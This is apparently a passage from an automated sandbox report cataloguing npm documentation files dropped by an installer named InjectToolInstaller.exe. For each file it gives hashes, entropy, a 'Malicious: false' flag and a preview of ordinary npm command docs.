SSDEEP:	48:ZzWsAeNeqQW6hfxXItVvLG7uAvVJiURUEwQ/84agltwT1OEZsWhb3BexjbWZd:k3kDQW6dxItdGttJio/3lORNMo
MD5:	F7B5DE0BB1C61AB17C7EB9E0D2D1F822
SHA1:	9AD3CFC42F3F7CD2D35D88C659929CF052DF26E2
SHA-256:	520AC7DE1B3B2DD9CFE5693541B15BC3BF0CB538C9D26200CE4715FC14D9EED2
SHA-512:	4E871CFF4D0235A83530D0E9C111457E31F79BECC9BF9ED91AB09B6988E2FBF3CD34247D8D4BB88256B2B6E0ABED5C082451D0EC1C28CEBD7BFF6F801BC952EB
Malicious:	false
Preview:	---.title: npm-ls.section: 1.description: List installed packages.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command will print to stdout all the versions of packages that are.installed, as well as their dependencies when `--all` is specified, in a.tree structure...Note: to get a "bottoms up" view of why a given package is included in the.tree at all, use [`npm explain`](/commands/npm-explain)...Positional arguments are `name@version-range` identifiers, which will limit.the results to only the paths to the packages named. Note that nested.packages will also show the paths to the specified packages. For.example, running `npm ls promzard` in npm's source tree will show:..```bash.npm@@VERSION@ /path/to/npm.... init-package-json@0.0.4. ... promzard@0.1.5.```..It will print out extraneous, missing, and invalid packages...If a project specifies git urls for dependencies these are shown.in parentheses after the `name@version` to make i

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-org.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	991
Entropy (8bit):	4.953581376416443
Encrypted:	false
SSDEEP:	24:x8XaJfD6UU1YkMqsIUAdUY648YvkeUYwsLpJl8JPVY8h:KwGUU11MqsIUAdUX48cPU9sFAJdR
MD5:	9469323620407D86077C0D95A7F65C21
SHA1:	E903A77104D4B84D680743A968DB222F248603DC
SHA-256:	F31098028657C8F6A9234E1CD34E0226A10DF4C7AC396B23A7EF54BC7735B24C
SHA-512:	5D4E3C37A0B4E55320E236F24F7EABD9ACB912F072CD8A3A7850863AE1B35AFB080CC5ED92F0632D6BB9A89FFB6A8EC8C7401E9E8D966CA382B5F3632B3A897C
Malicious:	false
Preview:	---.title: npm-org.section: 1.description: Manage orgs.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Example..Add a new developer to an org:..```bash.$ npm org set my-org @mx-smith.```..Add a new admin to an org (or change a developer to an admin):..```bash.$ npm org set my-org @mx-santos admin.```..Remove a user from an org:..```bash.$ npm org rm my-org mx-santos.```..List all users in an org:..```bash.$ npm org ls my-org.```..List all users in JSON format:..```bash.$ npm org ls my-org --json.```..See what role a user has in an org:..```bash.$ npm org ls my-org @mx-santos.```..### Description..You can use the `npm org` commands to manage and view users of an.organization. It supports adding and removing users, changing their roles,.listing them, and finding specific ones and their roles...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [using orgs](/using-npm/orgs).* [Documentation on npm Orgs](https://docs.npmjs.com/orgs/).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-outdated.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	3857
Entropy (8bit):	4.806497461092515
Encrypted:	false
SSDEEP:	48:5zv1WF96Zt8hPomYrCK/Kbchzk7W8gh5oLGtqX5bQfhXhRA1+CpUo1WFucoGh6Zk:h0F9AyoCchzk65oKXXVCp5WFucoC
MD5:	8818C87BCB0701D85CB3CE2AC318C5DB
SHA1:	D7F5E3AE2074BDA1E1080083BCF5494D8C8836CE
SHA-256:	9DEFDA0290624E56F1A34B344604629EDD9D5FFA73460370183D94EFC9A077B0
SHA-512:	C12663DA8A9461BD915FE5977DA988CA90407EE48824155E1249E21BB85BEA7F10236ED0AD11B8CCE936D5FA3DC8E5D31DB7F50FDB28253B8BAC49A91A5B26C7
Malicious:	false
Preview:	---.title: npm-outdated.section: 1.description: Check for outdated packages.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command will check the registry to see if any (or, specific) installed.packages are currently outdated...By default, only the direct dependencies of the root project and direct.dependencies of your configured workspaces are shown..Use `--all` to find all outdated meta-dependencies as well...In the output:..* `wanted` is the maximum version of the package that satisfies the semver. range specified in `package.json`. If there's no available semver range. (i.e. you're running `npm outdated --global`, or the package isn't. included in `package.json`), then `wanted` shows the currently-installed. version..* `latest` is the version of the package tagged as latest in the registry.. Running `npm publish` with no special configuration will publish the. package with a dist-tag of `latest`. This may or may not be the maximum. ver

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-owner.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	4.9342370155600666
Encrypted:	false
SSDEEP:	24:CaJfE9/K54NPBavz0RdAtKZ+WngGgOWPKl2PhAFpLSVOrAePhAuBPh9KPhOr:Ny/KSiARdAto+MxWPZMLy+l/Ig
MD5:	2C0B7DCD4696C7EAC240DCE8B4D1996C
SHA1:	92D561901B465E24DEC5399D40F078AFF70B7707
SHA-256:	E69E67A906F26489AEE66C40CC5E32DF5FF23EB02164F08B4E834C5A190C0B48
SHA-512:	94A27B3F37115A7DAD5E5AA5184DB33D703EB93A1FA4D927848F565C4FAA8BB7F837D064650E22215B1FE24C5F1BB0FA11C15407E28EF0773EB3F9553567D52B
Malicious:	false
Preview:	---.title: npm-owner.section: 1.description: Manage package owners.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Manage ownership of published packages...* ls: List all the users who have access to modify a package and push new. versions. Handy when you need to know who to bug for help..* add: Add a new user as a maintainer of a package. This user is enabled. to modify metadata, publish new versions, and add other owners..* rm: Remove a user from the package owner list. This immediately revokes. their privileges...Note that there is only one level of access. Either you can modify a package,.or you can't. Future versions may contain more fine-grained access levels, but.that is not implemented at this time...If you have two-factor authentication enabled with `auth-and-writes` (see.[`npm-profile`](/commands/npm-profile)) then you'll need to go through a second factor.flow when changing ownership or include an otp on the command line with `--otp`...

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-pack.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	948
Entropy (8bit):	5.049628813937103
Encrypted:	false
SSDEEP:	24:f1aJfSVSpXa6jpJBxjBiy75HwaaL+r6EbWy5PhAPhmPh4P:feyS5bJ/DHwatq44Ss
MD5:	03BF868ADB3CFC440DDE9F4E0B491BEB
SHA1:	CBA5B0BAD8DAB69470590EE7E21CB4A2BF9BD13F
SHA-256:	7FCD7AA630F8FC713403537B6F098B72F67306989C994A1640FC09F640494353
SHA-512:	9965D9A625D8749FF2F1554A37A61B7685FE82B06C597AD77051E551F0B29026607ABCFD545D1E2F0A23E204243F46A0DFAAB6C6433E4B80DAC33B2D69F917F8
Malicious:	false
Preview:	---.title: npm-pack.section: 1.description: Create a tarball from a package.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### Description..For anything that's installable (that is, a package folder, tarball,.tarball url, git url, name@tag, name@version, name, or scoped name), this.command will fetch it to the cache, copy the tarball to the current working.directory as `<name>-<version>.tgz`, and then write the filenames out to.stdout...If the same package is specified multiple times, then the file will be.overwritten the second time...If no arguments are supplied, then npm packs the current package folder...### See Also..* [package spec](/using-npm/package-spec).* [npm-packlist package](http://npm.im/npm-packlist).* [npm cache](/commands/npm-cache).* [npm publish](/commands/npm-publish).* [npm config](/commands/npm-config).* [npmrc](/configuring-npm/npmrc).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-ping.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	680
Entropy (8bit):	5.224746915293134
Encrypted:	false
SSDEEP:	12:hfvRsDOqiJfpiFr/glZi9gahVIcUl9mV7guJpemrDm5DO4WPhcPh4XPCs:hOaJfpkUdaGmVgApemnwVWPhcPh4P
MD5:	E62576B4A906027C1A34FFF0A3F98E97
SHA1:	822453890B9292E0A436BD26059F5B0AA797554D
SHA-256:	129FEBAA163533942852C57E9D142786210E2C8FF489D989B5DB1098E4C5A8FA
SHA-512:	6FA8846E618914EAC8DD96902CFAC61731F46AF2D87DDBA96279715C2345FC4890F6F4C508CA47DB5BC220F8FDE56F9DEA5858C7B35A919E680FC9F0745A3226
Malicious:	false
Preview:	---.title: npm-ping.section: 1.description: Ping npm registry.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Ping the configured or given npm registry and verify authentication..If it works it will output something like:..```bash.npm notice PING https://registry.npmjs.org/.npm notice PONG 255ms.```.otherwise you will get an error:.```bash.npm notice PING http://foo.com/.npm ERR! code E404.npm ERR! 404 Not Found - GET http://www.foo.com/-/ping?write=true.```..### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm doctor](/commands/npm-doctor).* [npm config](/commands/npm-config).* [npmrc](/configuring-npm/npmrc).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-pkg.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	5233
Entropy (8bit):	4.683405008870274
Encrypted:	false
SSDEEP:	96:Y6xMhd0B3GKN5nO+FUpEULvMWELk1Pbu+S8huu+Xj01cFFCtsD:f6d0BWKN9FSPTMWgk1Pbu+SXjqcFFEsD
MD5:	5FD32B3B8CB013593C14442788F43CC4
SHA1:	CAB6930ED6E19D08397A821269819F7D484A2877
SHA-256:	BED65D58DD15D11DDEE9FA78FBAABF340F2312BE0D09778AA4C650215F329CD4
SHA-512:	3E528D8C3CA2885385EC6172643679953C5DAF930C431371140BF9FCD679E40F52090FC1EEE67037872738F8213F80D1786B020E47033BBB03859FB3070FECA8
Malicious:	false
Preview:	---.title: npm-pkg.section: 1.description: Manages your package.json.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..A command that automates the management of `package.json` files..`npm pkg` provide 3 different sub commands that allow you to modify or retrieve.values for given object keys in your `package.json`...The syntax to retrieve and set fields is a dot separated representation of.the nested object properties to be found within your `package.json`, it's the.same notation used in [`npm view`](/commands/npm-view) to retrieve information.from the registry manifest, below you can find more examples on how to use it...Returned values are always in json format...* `npm pkg get <field>`.. Retrieves a value `key`, defined in your `package.json` file... For example, in order to retrieve the name of the current package, you. can run:.. ```bash. npm pkg get name. ```.. It's also possible to retrieve multiple values at once:.. ```ba

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-prefix.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	762
Entropy (8bit):	5.1211325095279925
Encrypted:	false
SSDEEP:	12:OWHsDOqiJfNFtIxTS1Gzh0LuaHxRPh4y/lhDCaczv05DO4pPhaXsym8CEJPh4XPX:OzaJftSMGzhIRPh4y/hVpPhGsymEPh4P
MD5:	29BD5B390ED5DBD4C4213E418FB7583B
SHA1:	0F1B49DE41D379531FC6448C1492840F9973A0EB
SHA-256:	7135CADA74AA4435B0554017F2E91C49F6E532BA27B05430BCC2A892E9DCBD6B
SHA-512:	72C03465D1D63E570252B5B265848A7AC09D4F700D2ED6CA1AF7B0B04DA88FFC82BEEE5859D752F4A7BF4974ACC1AAE91ED3CFD10ECAAF2E0B3ED946E275270B
Malicious:	false
Preview:	---.title: npm-prefix.section: 1.description: Display prefix.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Print the local prefix to standard output. This is the closest parent directory.to contain a `package.json` file or `node_modules` directory, unless `-g` is.also specified...If `-g` is specified, this will be the value of the global prefix. See.[`npm config`](/commands/npm-config) for more detail...### Example..```bash.npm prefix./usr/local/projects/foo.```..```bash.npm prefix -g./usr/local.```..### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm root](/commands/npm-root).* [npm folders](/configuring-npm/folders).* [npm config](/commands/npm-config).* [npmrc](/configuring-npm/npmrc).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-profile.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	2923
Entropy (8bit):	4.588677845482032
Encrypted:	false
SSDEEP:	48:i8ledO4Mgk2LhQGSQK6WLOFJ6qlRryW3TTWusySnflSA+qctWu:iqedpDRLgcF8qlRbTTWuIu
MD5:	99D4CDD8BF1B347C6F75E8FB8053B95D
SHA1:	D1F73AA92628548CA5F5A521847EBEC37F903BA8
SHA-256:	E679A0EC67999D0797641FFE146E145B3C2ADDDAE6BC933FE98713DDF9119C78
SHA-512:	4711F260BDC5AE0A1CDC07C1893593EAA8AFBA571444658B0EACA797F7B5FC9E31858436983F49CBA1CDF9AD4FCC0B27C5853DA14AF72E53D575902A41C1306C
Malicious:	false
Preview:	---.title: npm-profile.section: 1.description: Change settings on your registry profile.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Change your profile information on the registry. Note that this command.depends on the registry implementation, so third-party registries may not.support this interface...* `npm profile get [<property>]`: Display all of the properties of your. profile, or one or more specific properties. It looks like:..```bash.+-----------------+---------------------------+.\| name \| example \|.+-----------------+---------------------------+.\| email \| me@example.com (verified) \|.+-----------------+---------------------------+.\| two factor auth \| auth-and-writes \|.+-----------------+---------------------------+.\| fullname \| Example User \|.+-----------------+---------------------------+.\| homepage \| \|.+-----------------+------------------

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-prune.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	1349
Entropy (8bit):	4.947989255688187
Encrypted:	false
SSDEEP:	24:laJfp5Vim6WbwWnI5FV5JbJYtr3XHTp8WqNI5tYP1HI573VZhPhqcymfPhXv:OzVF6VKOFfYtr3XHTpkNOtYP1HOpHbHJ
MD5:	3E1E23623E977CD8B0E9092CCFAD7583
SHA1:	E0C37658C17A532081AD0AC758198F80D1C3B611
SHA-256:	68BBD912AE1F4BA8FA9DEAB2FE24D7A711362A0834233699CCD5889A94D8798B
SHA-512:	3FC8C3572141A2278284D94510CD093F7372898D86C9590B2C8382509384F73EC795F60855DA0E34832FEC2C4CAEEDE7870049A086EF82ED3A3C08B9BFA554F3
Malicious:	false
Preview:	---.title: npm-prune.section: 1.description: Remove extraneous packages.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command removes "extraneous" packages. If a package name is provided,.then only packages matching one of the supplied names are removed...Extraneous packages are those present in the `node_modules` folder that are.not listed as any package's dependency list...If the `--production` flag is specified or the `NODE_ENV` environment.variable is set to `production`, this command will remove the packages.specified in your `devDependencies`. Setting `--no-production` will negate.`NODE_ENV` being set to `production`...If the `--dry-run` flag is used then no changes will actually be made...If the `--json` flag is used, then the changes `npm prune` made (or would.have made with `--dry-run`) are printed as a JSON object...In normal operation, extraneous modules are pruned automatically, so you'll.only need this command with the `--production`

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-publish.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	3666
Entropy (8bit):	4.896681500465848
Encrypted:	false
SSDEEP:	96:BIN8GgxwXXJEyFfkuhE4EjSrI1h+ygWTsot73G5re:BIGNiXXqyFfkLjSGUygWnl36e
MD5:	F9AF747639B50081168DF3CBD70F9B0D
SHA1:	C9F00CD0930CF04551F1B6C0A5F70A74B6F1ACDD
SHA-256:	A70BDA6401E4E7F0A7FC298CD321F70EA38E54800352F740CFA19CEC5EF9001D
SHA-512:	53B54E2F4EAE21BC150EF1FDFB14FF9C15B7F280675671CB308C12B2ED569084701D71FA0BE5090B95E7DFEE74225DDA0E373DE55A56520BE3944C3C3BFBC69C
Malicious:	false
Preview:	---.title: npm-publish.section: 1.description: Publish a package.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Publishes a package to the registry so that it can be installed by name...By default npm will publish to the public registry. This can be.overridden by specifying a different default registry or using a.[`scope`](/using-npm/scope) in the name, combined with a.scope-configured registry (see.[`package.json`](/configuring-npm/package-json))....A `package` is interpreted the same way as other commands (like.`npm install` and can be:..* a) a folder containing a program described by a. [`package.json`](/configuring-npm/package-json) file.* b) a gzipped tarball containing (a).* c) a url that resolves to (b).* d) a `<name>@<version>` that is published on the registry (see. [`registry`](/using-npm/registry)) with (c).* e) a `<name>@<tag>` (see [`npm dist-tag`](/commands/npm-dist-tag)) that. points to (d).* f) a `<name>` that has a "latest" tag satisf

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-query.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	3477
Entropy (8bit):	5.0082601737491546
Encrypted:	false
SSDEEP:	96:BQy/YGwMarVlU2eKD0SUywSPRFwXoersrvkro0l:Gy/YGwzrVy2eK2u70l
MD5:	EC354567D4CACB817BB8933CC061D11B
SHA1:	E6F4BFF07E9B166ACBEC3078D68750A3CC5EC6BA
SHA-256:	4EF386F4AB205EFD98872F960A501EBAE6701040938B4485B694D7BEB800EE79
SHA-512:	E7DEF847B3417F3C6ABABFC526D3666747196A742FBB17A622581706DDE3CDB530A0A474171F3F5CF09068D45C569B6496382514FE9C088422DB5A4E4520BC5A
Malicious:	false
Preview:	---.title: npm-query.section: 1.description: Dependency selector query.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..The `npm query` command allows for usage of css selectors in order to retrieve.an array of dependency objects...### Piping npm query to other commands..```bash.# find all dependencies with postinstall scripts & uninstall them.npm query ":attr(scripts, [postinstall])" \| jq 'map(.name)\|join("\n")' -r \| xargs -I {} npm uninstall {}..# find all git dependencies & explain who requires them.npm query ":type(git)" \| jq 'map(.name)' \| xargs -I {} npm why {}.```..### Extended Use Cases & Queries..```stylus.// all deps...// all direct deps.:root > ..// direct production deps.:root > .prod..// direct development deps.:root > .dev..// any peer dep of a direct deps.:root > * > .peer..// any workspace dep..workspace..// all workspaces that depend on another workspace..workspace > .workspace..// all workspaces that have peer deps..workspace:has(.peer)

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-rebuild.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	4.908654431454601
Encrypted:	false
SSDEEP:	24:nZHFaJfp5Sxji5rLXqLzjo6uLi1GVyfVD7VMByCSUwFxUdbVz90fAiVOrhPhfv:ZOzcQvao6GVy1mBy7Fx6PskR
MD5:	C96C6D85681BB7B539A97931C755841E
SHA1:	0902E83986D5E3C886EE5A8B039DEE8A9EF23AE4
SHA-256:	E8ADEA74B5D8D57B33CA608371F6A6EB8BF35E7516359CEE20F9C0A68C2B4672
SHA-512:	A05E4836FDE096DDB2C5FFEEF1F047BA50543CA584C583AD784ECD03D3D506C5A7A628AEBDC322277BFFEC6261516A1638E9BF155E0280DD102B00914EEDC2F0
Malicious:	false
Preview:	---.title: npm-rebuild.section: 1.description: Rebuild a package.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command does the following:..1. Execute lifecycle scripts (`preinstall`, `install`, `postinstall`, `prepare`).2. Links bins depending on whether bin links are enabled..This command is particularly useful in scenarios including but not limited to:..1. Installing a new version of node.js, where you need to recompile all your C++ add-ons with the updated binary..2. Installing with `--ignore-scripts` and `--no-bin-links`, to explicitly choose which packages to build and/or link bins...If one or more package specs are provided, then only packages with a name and version matching one of the specifiers will be rebuilt...Usually, you should not need to run `npm rebuild` as it is already done for you as part of npm install (unless you suppressed these steps with `--ignore-scripts` or `--no-bin-links`)...If there is a `binding.gyp` file in the r

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-repo.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	613
Entropy (8bit):	5.085163109005343
Encrypted:	false
SSDEEP:	12:rNovsDOqiJfr955H140d8smW9HKTnnEL+ZD1D60LQI5DO4OPhQPh4X:rZaJfp55H178/WtaE+ZD1+0UeVOPhQPw
MD5:	A183ADD534D85AE0A7E4F427563833A3
SHA1:	A94A7FA3EC41CFD528FDA83B9D328025DE3EF90A
SHA-256:	6F5F3792FC47566FAE447AA27D1A2351E7DD478E027C8C076131F5C112DF5686
SHA-512:	80D0B1649CBE47C2DC52DE1D65AFE936D231C474515EA3C23A962C33E06476124D8483F6670BFE65B03AFAFEB682E05E5AB983A66EF642370704DE1DE179D09F
Malicious:	false
Preview:	---.title: npm-repo.section: 1.description: Open package repository page in the browser.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This command tries to guess at the likely location of a package's.repository URL, and then tries to open it using the.[`--browser` config](/using-npm/config#browser) param. If no package name is.provided, it will search for a `package.json` in the current folder and use the.`repository` property...### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm docs](/commands/npm-docs).* [npm config](/commands/npm-config).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-restart.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	920
Entropy (8bit):	4.997301521794428
Encrypted:	false
SSDEEP:	24:7aJfCt+fTOYOPHC3fjAAtVK5PhRGY4PhV5PhNPhEPhX:UCE4HCzgLGdRbcl
MD5:	D3400FF80CC766863B7B3E3338AC0AB9
SHA1:	FB6E840E038A3EEF3C5C45BF1B9909FF8FA0567F
SHA-256:	4E9EE2B2499448F4470DAF57EB9A6C662E7FE3BA236235276C7DEC59A5A4A3F0
SHA-512:	0C0BE3EF31F291FC9B29EA878662B39BCBEA907A45C0D30616D9052909A8848C467354C3720CEF1F8DACB9DDF656DDCE0FFB2A3645FD4BA0199BB7F3779DDA35
Malicious:	false
Preview:	---.title: npm-restart.section: 1.description: Restart a package.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This restarts a project. It is equivalent to running `npm run-script.restart`...If the current project has a `"restart"` script specified in.`package.json`, then the following scripts will be run:..1. prerestart.2. restart.3. postrestart..If it does _not_ have a `"restart"` script specified, but it does have.`stop` and/or `start` scripts, then the following scripts will be run:..1. prerestart.2. prestop.3. stop.4. poststop.6. prestart.7. start.8. poststart.9. postrestart..### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm run-script](/commands/npm-run-script).* [npm scripts](/using-npm/scripts).* [npm test](/commands/npm-test).* [npm start](/commands/npm-start).* [npm stop](/commands/npm-stop).* [npm restart](/commands/npm-restart).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-root.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	655
Entropy (8bit):	5.233306527228024
Encrypted:	false
SSDEEP:	12:iThhsDOqiJfvrPbzdl58ZJRbLrzYVP2SVyA42Qv+5DO4sAbPhZym8CEJPh4XPCs:iTQaJfTPbzS3RbLwV1aVv4V5PhZymEPs
MD5:	24E30FAEFE956B16205DB881658E2624
SHA1:	03AD5A831327387EA02EB0F9B14E7B940D002C54
SHA-256:	147BB70BAEF920C34419497CCD4AD720333899884CDA9CC1F4C41D6A11CE1041
SHA-512:	004A706BF54E366B513FE7C7649089F4F035FF43D3F90687F86127EAE6D17056EAF44A4246F267395AF7947CF1DC8EBE8969ECDD66EB6BAA7FC32AC3EFD4EEAE
Malicious:	false
Preview:	---.title: npm-root.section: 1.description: Display npm root.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Print the effective `node_modules` folder to standard out...Useful for using npm in shell scripts that do things with the.`node_modules` folder. For example:..```bash.#!/bin/bash.global_node_modules="$(npm root --global)".echo "Global packages installed in: ${global_node_modules}".```..### Configuration.. AUTOGENERATED CONFIG DESCRIPTIONS -->..### See Also..* [npm prefix](/commands/npm-prefix).* [npm folders](/configuring-npm/folders).* [npm config](/commands/npm-config).* [npmrc](/configuring-npm/npmrc).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-run-script.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	4250
Entropy (8bit):	4.854049455261514
Encrypted:	false
SSDEEP:	96:8OlqIjj9ErXK8P/MnB8rPe3TkS981pacs2K1EV+G6:56K8snB2PO81mEV+X
MD5:	ECE8E76BE561B6A197B0E45F7D686A49
SHA1:	CBB2990515D48D3E380C3815581662FE499EBDDD
SHA-256:	CCC913D4886F110539D1DCB506E4BA7666946258D69F74EDCB67A595FF6B64A4
SHA-512:	1F96F2A63722E61E6B3A7BEABB447BF179E48DB45E281486E4462859B3585742B8C1196B04E42CFC154EA0AB8955109C57888777D59BF30A0F2DD44076189827
Malicious:	false
Preview:	---.title: npm-run-script.section: 1.description: Run arbitrary package scripts.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..This runs an arbitrary command from a package's `"scripts"` object. If no.`"command"` is provided, it will list the available scripts...`run[-script]` is used by the test, start, restart, and stop commands, but.can be called directly, as well. When the scripts in the package are.printed out, they're separated into lifecycle (test, start, restart) and.directly-run scripts...Any positional arguments are passed to the specified script. Use `--` to.pass `-`-prefixed flags and options which would otherwise be parsed by npm...For example:..```bash.npm run test -- --grep="pattern".```..The arguments will only be passed to the script specified after `npm run`.and not to any `pre` or `post` script...The `env` script is a special built-in command that can be used to list.environment variables that will be available to the script at runti

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-sbom.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	5585
Entropy (8bit):	4.941067134631248
Encrypted:	false
SSDEEP:	96:9xpbsPQDSSFKOyWg/QUKn1OyR20uug15qcNRv7KnrnqFlcYp:9XQIeSFnyWgI/syRFuug15qcNRvOrqF9
MD5:	B86F8065350754C8D8399A26E1EB04AA
SHA1:	916C72619CDD7FE2706BF9EB147A7999DBCC7936
SHA-256:	837821A93959810041517655137DFAD9A6320F496B0B267E4680481B13748949
SHA-512:	75FB437EB252D1FB52281DE7CEC313B7B05053BA5685E84818DD49A900D607042162A8A8CF6C98429A3B664E8ADDD9A4F795C970231BE7F5A73E9991F3FA1EDB
Malicious:	false
Preview:	---.title: npm-sbom.section: 1.description: Generate a Software Bill of Materials (SBOM).---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..The `npm sbom` command generates a Software Bill of Materials (SBOM) listing the.dependencies for the current project. SBOMs can be generated in either.[SPDX](https://spdx.dev/) or [CycloneDX](https://cyclonedx.org/) format...### Example CycloneDX SBOM..```json.{. "$schema": "http://cyclonedx.org/schema/bom-1.5.schema.json",. "bomFormat": "CycloneDX",. "specVersion": "1.5",. "serialNumber": "urn:uuid:09f55116-97e1-49cf-b3b8-44d0207e7730",. "version": 1,. "metadata": {. "timestamp": "2023-09-01T00:00:00.001Z",. "lifecycles": [. {. "phase": "build". }. ],. "tools": [. {. "vendor": "npm",. "name": "cli",. "version": "10.1.0". }. ],. "component": {. "bom-ref": "simple@1.0.0",. "type": "library",. "name": "simple",. "version": "1.0.0",

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-search.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	4.851559556682035
Encrypted:	false
SSDEEP:	48:b6LvY/batf4XJdQ2szKz42vDw294As74OOv:Pjo6HvszY02qGv
MD5:	BBE5A0D237E60BA156D57E594C385D49
SHA1:	CE79EA1DA7A8B29DC33322D80031FE3E42B49004
SHA-256:	371C57E37823BE684CDBFC33B117FB5FDE568745BD2056A374EAC269210CF0D8
SHA-512:	DBDFF4ED1CE59148C780901D2F1905C9CC4EB528CE24734A14C6B0EAA9CDE4F143FF5D58B64541D6794E7DB731148B128500329C89E1DBFF326384BF0B869846
Malicious:	false
Preview:	---.title: npm-search.section: 1.description: Search for packages.---..### Synopsis.. AUTOGENERATED USAGE DESCRIPTIONS -->..### Description..Search the registry for packages matching the search terms. `npm search`.performs a linear, incremental, lexically-ordered search through package.metadata for all files in the registry. If your terminal has color.support, it will further highlight the matches in the results. This can.be disabled with the config item `color`..Additionally, using the `--searchopts` and `--searchexclude` options.paired with more search terms will include and exclude further patterns..The main difference between `--searchopts` and the standard search terms.is that the former does not highlight results in the output and you can.use them more fine-grained filtering. Additionally, you can add both of.these to your config to change default search filtering behavior...Search also allows targeting of maintainers in search results, by prefixing.their npm username with `

C:\Users\user\AppData\Local\Temp\7zS48C4B291\docs\lib\content\commands\npm-shrinkwrap.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	892
